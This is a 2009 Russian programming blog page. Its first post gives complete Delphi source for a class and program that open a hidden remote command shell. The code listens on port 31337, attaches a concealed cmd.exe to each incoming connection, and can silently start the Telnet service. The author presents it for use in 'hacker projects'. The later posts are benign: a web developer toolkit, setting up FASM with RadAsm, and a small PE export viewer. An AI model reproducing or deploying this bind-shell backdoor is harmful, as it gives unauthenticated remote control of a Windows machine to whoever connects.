DevProg: Блог для программистов

Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!

Класс для открытия шелла с перенаправлением I/O

Опубликовал devprog на Май 22, 2009

Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?

unit xnShellWorks;

interface
uses Windows;

const
  AF_INET     = 2;
  PF_INET     = AF_INET;
  SOCK_STREAM = 1;
  IPPROTO_TCP = 6;
  IPPROTO_PUP = 12;
  IPPROTO_UDP = 17;
  IPPROTO_IDP = 22;
  IPPROTO_ND  = 77;
  IPPROTO_RAW = 255;
  IPPROTO_MAX = 256;
  START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  null = nil;
  INVALID_SOCKET = not 0;

//==============================================================================
// Структуры начало
//==============================================================================
type
  S_UN_B = packed record
    s_b1 : BYTE;
    s_b2 : BYTE;
    s_b3 : BYTE;
    s_b4 : BYTE;
  end;

  S_UN_W = packed record
    s_w1 : WORD;
    s_w2 : WORD;
  end;

  T_ADDRESS_UNION = packed record
    S_un_b : S_UN_B;
    S_un_w : S_UN_W;
    S_addr : DWORD;
  end;

  T_WSA_DATA = packed record
    wVersion       :   Word;
    wHighVersion   :   Word;
    szDescription  :   array[0..256] of byte;
    szSystemStatus :   array[0..128] of byte;
    iMaxSockets    :   Word;
    iMaxUdpDg      :   Word;
    lpVendorInfo   :   Dword;
  end;

  Tin_addr = packed record
    S_un           :   T_ADDRESS_UNION;
  end;

  TSockAddr_In = packed record
    sin_family     :   Word;
    sin_port       :   Word;
    sin_addr       :   Tin_addr;
    sin_zero       :   array[0..13] of byte;
  end;
//==============================================================================
// Структуры конец
//==============================================================================

type
  xnShell = class (TObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure SetShellPort(PortNumber:SmallInt);
    procedure BindShell(SockHandle:DWORD);
    procedure ListenShell(SockHandle:DWORD);
    procedure StartTelnetService(Flag:boolean);
    function  AcceptShell(SockHandle:DWORD):DWORD;
    function  CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
    function  StartUp():DWORD;
  private
    FPort:WORD;
    FSocket:DWORD;
    WSAData:T_WSA_DATA;
    FSockAddIn:TSockAddr_In;
    st_info:TStartupInfo;
    pt_info:TProcessInformation;

end;

//==============================================================================

function  WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function  htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function  accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;

{==============================================================================}
implementation

{ xnShell }

//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
  inherited Create;
  FPort:=0;
end;

//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
  ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
  ZeroMemory(@FSockAddin,SizeOf(WSAData));
  inherited Destroy;
end;

{——————————————————————————-
  Procedure: xnShell.SetShellPort
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: PortNumber: SmallInt – номер открываемого порта
  Result:    None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
  FPort:=PortNumber;
end;

{——————————————————————————-
  Procedure: xnShell.StartUp
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: None
  Result:    DWORD – хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
 begin
  WSAStartup($0202,@WSAData);  // Activate ws2_32.dll
  FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  FSockAddIn.sin_family:=AF_INET;
  FSockAddIn.sin_port:=htons(FPort);
  result:=FSocket;
 end
else
 begin
 Result:=$0;
 end;
end;

{——————————————————————————-
  Procedure: xnShell.BindShell
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD  – хендл сокета для бинда (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;

{——————————————————————————-
  Procedure: xnShell.ListenShell
  Author:    robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD – хендл сокета для listen (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
  listen(SockHandle,0);
end;

{——————————————————————————-
  Procedure: xnShell.AcceptShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: SockHandle: DWORD
  Result:    DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
  result:=accept(SockHandle,NULL,0);
end;

{——————————————————————————-
  Procedure: xnShell.CreateShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: ShellName: string;OutHandle:DWORD
  Result:    BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 st_info.hStdError  := OutHandle;
 st_info.hStdOutput := OutHandle;
 st_info.hStdInput  := OutHandle;
 reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
 CloseHandle(OutHandle);
 CloseHandle(pt_info.hThread);
 CloseHandle(pt_info.hProcess);
 if reslt <> false then result:=false else Result := true;
end;

{——————————————————————————-
  Procedure: xnShell.StartTelnetService
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: None
  Result:    None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 if Flag = True then
 CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
 else
 CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;

end.

А вот как это дело можно юзать в своих хеккерских проектах:

program shellset;

uses xnShellWorks;
type
 DWORD = Cardinal;
var
  Shell:xnShell;
  handle:DWORD;
  SHandle:DWORD;
begin
  Shell:=xnShell.Create;
  Shell.SetShellPort(31337);
  handle:=Shell.StartUp;
  Shell.BindShell(handle);
  Shell.ListenShell(handle);
  while true do
   begin
    sHandle := Shell.AcceptShell(handle);
    if SHandle <> INVALID_SOCKET then
     begin
      Shell.CreateShell(‘cmd.exe’,sHandle);
     end;
    end;
end.

 

 Подписаться на посты через RSS
 Подписаться на комментарии через RSS

 

Рубрика: Delphi | Комментарии (3) »

Блог остаётся работать в штатном режиме!

Опубликовал devprog на Март 4, 2009

Господа программисты, мы не переежаем. Спасибо всем за дельные советы и предостережения! Блог остаётся работать в штатном режиме.

Рубрика: Uncategorized | Комментарии (3) »

Web Developer Kit 1.0 – Карманный набор Веб-разработчика

Опубликовал devprog на Март 4, 2009

У вас имели место быть такие случаи, когда необходимо, да и просто хочется написать или отладить какое либо веб-приложение, Будь то скрипт на PHP, парсинг текста на PERL или запрос SQL, а необходимых инструментов под рукой нет?

Конечно, такие ситуации бывали у всех нас. И это ещё хорошо, что есть выход в Интернет, а что делать если его нет, а на новой машине нужно быстро настроить веб-сервер, установить редактор с подсветкой синтаксиса, ещё бы хорошо иметь программу для проверки регулярных выражений. Ну и в довесок можно иметь на рабочей машине разного рода книги и справочники по программированию.

Всё это есть в пакете программ Web Developer Kit. Эту сборку самых необходимых программ для веб-разработчика можно в быстро развернуть на любой машине под управлением ОС Windows. В любой момент вы можете иметь полноценное рабочее место для программирования и отладки веб-приложений.

Рассмотрим пакет Web Developer Kit более подробно:

1) Пакет Denwer, содержащий в себе целый набор инструментов для веб разработчика, такие как веб-сервер Apache, PHP 5, PERL, MySQL Server.

2) Текстовый редактор Notepad++ с подсветкой синтаксиса самых распространённых языков разработки, таких как PERL, PHP, JavaScript итд. Языки интерфейса – Русский, Украинский, Английский. Плюс, некоторые полезные плагины к редактору (Например HEX-Edit).

3) Программа для проверки регулярных выражений Regular Expression Tester. Она очень компактна, удобна и может проверять регулярные выражения многих видов.

4) Маленький и быстрый FTP-Клиент MicroFTP 2000, который очень лёгок в настройке.

5) Книги и справочники для Веб-программиста. Хорошие справочники по CSS, HTML, PHP, MySQL, XML.

6) Шпаргалки в виде PNG рисунков по таким предметам как CSS, HTML, mod_rewrite, MySQL, PHP, Регулярные выражения, Ruby On Rails.

Пакет выполнен в виде удобного инсталятора (похожий на WinAmp). После установки всё удобно структурируется в программном меню, в поддиректории Web Developer Kit.

Установка:

Для установки Denwer, после установки пакета, выполните следующие действия:

Пуск -> Программы -> Web Developer Kit -> Web Server -> Install Denwer

Загрузка пакета:

Скачать пакет Web Developer Kit

Подписаться на посты через RSS

Рубрика: 5минутные утилиты, Программирование | Комментарии (3) »

Переезд Блога

Опубликовал devprog на Февраль 28, 2009

Уважаемые посетитили! Наш блог переежает на другой адрес. Теперь он будет доступен по адресу www.4programmer.blogspot.com. На нашем новом блоге будет ещё больше полезной, а самое главное новой информации по программированию. Заходите и читайте нас. С уважением, Егор.

P.S. Уважаемые Партнёры и Друзья! Убедительная просьба, исправить или добавить ссылку в своих блогроллах, на новый адрес блога. Спасибо.

Надеюсь, вам пригленётся наш новый блог. Всего хорошего. :)

Рубрика: Uncategorized | Комментарии (6) »

Как прикрутить FASM к RadAsm. Пытаемся подружить 2 клёвых инструмента!

Опубликовал devprog на Февраль 24, 2009

Привет. Прошу прощение за долгое отсутствие новых материалов на блоге. Всё это гадская работа виновата. Итак, приступим к настройке!

• Скачиваем с офф.сайта вот этот архив:  http://www.radasm.com/RadASM2000/Assembly.zip – он содержит файлы поддержки языков ассемблеров, таких как MASM, FASM, TASM, NASM… Нам, из этого архива, нужны только файлы и папки, в названиях которых, наш пытливый мозг может обнаружить вхождения подстроки “fasm”. Эти файлы и папки нужно записать в корень директория с установленным RadAsm! Например, RadAsm у нас установлен в: D:\Utilites\RadAsm\ – значит туда и кидаем следующие файлы:

1. Папка FASM полностью в D:\Utilites\RadAsm\

2. Файл fasm.ini тоже кидаем в D:\Utilites\RadAsm\

3. Файл fasm.ct из папки Addins кидаем в D:\Utilites\RadAsm\Addins\

 

• Скачиваем сам компилятор, если не скачали с сайта http://www.flatassembler.net/download.php и открываем архив. Из него нам нужны вот эти файл и папка:

1. Файл FASM.EXE пишем в D:\Utilites\RadAsm\

2. Папку INCLUDE засунем в D:\Utilites\RadAsm\

Этим мы переписали сам компилятор ассемблера и директорию с инклудниками в папку с RadAsm.

 

• Качаем http://www.jorgon.freeserve.co.uk/Gorcjorg.zip. GORC – это компилялка ресурсов. Архив распаковываем ровно в ту папку, куда записывали всё до этого, всмысле вот сюда: D:\Utilites\RadAsm\

 

• Открываем RadAsm.exe | Настройки | Programming Languages | Добавляем fasm.ini | Жмём Add | OK

 

• Создаём новый проект, выбираем из списка компилятор fasm! Выбираем шаблон win32dlg.tpl. Теперь удаляем в процедуре DlgProc директиву enter, а директиву return меняем на ret! Тем самым, должны получить следующий код процедуры DlgProc:

proc DlgProc,hWnd,uMsg,wParam,lParam
 push edi esi ebx
 ; удалили enter
 mov eax,[uMsg]
 cmp eax,WM_COMMAND
 je jCOMMAND
 cmp eax,WM_INITDIALOG
 je jINITDIALOG
 cmp eax,WM_CLOSE
 je jCLOSE
 xor eax,eax
 jmp finish

jINITDIALOG:
 mov eax,[hWnd]
 mov [gWnd],eax
 
 mov eax,1
 jmp finish
 
jCOMMAND:
 mov eax,[wParam]
 cmp eax,1000
 je a1000
 xor eax,eax
 jmp finish
 
a1000:
 invoke SendMessage,[hWnd],WM_CLOSE,0,0
 mov eax,1
 jmp finish
 
jCLOSE: 
 invoke EndDialog,[hWnd],0
 mov eax,1
 
finish:
 pop ebx esi edi
 ret
endp

 

• Ассемблируем проект! Всё должно получиться, и вы увидите простую форму с одной кнопкой. Если вам что нибудь не ясно – спрашивайте, не стесняйтесь. Я всегда рад общению. Настройка RadAsm+FASM успешно завершена.

 

Понравилась заметка? Хочешь продолжать читать мой блог? Тогда, подпишись на мою RSS-ленту новостей! Теперь ты не пропустишь возможность почитать новенькие заметки, на Блоге для Программистов!

 

 

Рубрика: Ассемблер | Комментарии (7) »

FunctionScope ver2 fixed – С возможностью сортировки

Опубликовал devprog на Февраль 11, 2009

Исправленая версия программы. Добавлено:

• Просмотр названия секций PE файла

• Сортировка

Скачать новую версию можно по этой ссылке: Скачать

 

Кстати, я тут хочу научиться программировать на PHP. Скоро буду похоже писать заметки вроде Дневников Чайника по изучению PHP, буду делиться радостями и поражениями (или как там говорят). Короче, обещаю – не соскучитесь. На этой ноте, я открываю новую рубрику – PHP:Дневники чайника! Не пропустите – будет ржачно!

Понравилась заметка? Хочешь продолжать читать мой блог? Тогда, подпишись на мою RSS-ленту новостей! Теперь ты не пропустишь возможность почитать новенькие заметки, на Блоге для Программистов!

 

Рубрика: 5минутные утилиты | Комментарии (4) »

Нужно быстренько взглянуть на функции которые экспортирует DLL ? Не проблема!

Опубликовал devprog на Февраль 10, 2009

Программка FunctionScope из разряда “Тяп-ляп за 5 минут” поможет посмотреть как экспортируемые функции из PE файлов (EXE, DLL, SCR…) так и импортируемые. По двойному клику можно обратиться к поиску по определённому ключевому слову. Для меня очень удобно, должно быть и для вас :) Качаем вот тут -> Скачать!

Рубрика: 5минутные утилиты | Комментарии (3) »